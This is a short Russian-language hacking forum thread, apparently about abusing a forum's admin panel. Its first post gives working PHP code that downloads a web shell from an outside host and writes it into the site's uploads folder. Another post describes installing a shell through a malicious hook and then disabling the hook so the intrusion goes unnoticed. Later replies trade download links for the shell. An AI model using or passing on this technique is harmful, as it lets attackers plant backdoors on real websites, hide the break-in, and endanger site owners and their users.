Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода
до отображения или сохранения настройки:" пишем любой php код, например такой:
-----------------------------------------
$linky="http://сайт_с_шеллом/shell.txt";
$saved="/home//www/123/forum/uploads/123.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
echo 'done';
fclose($from);
-----------------------------------------

Хз где пашкела это нашел, но в общем идешь в модификации и и там кнопка есть добавить модификацию(add hook)
туда вот это добавляешь http://slil.ru/28047622
идешь на главную - там будет твой шелл причем с правами от юзера, который заливал файлы по фтп=)
заливаешь дальше куда нужно и отключаешь этот хук, чтобы не спалили

там залит eugen shell

ссылка сдохла,можш перезалить?

кому надо скачать можно тут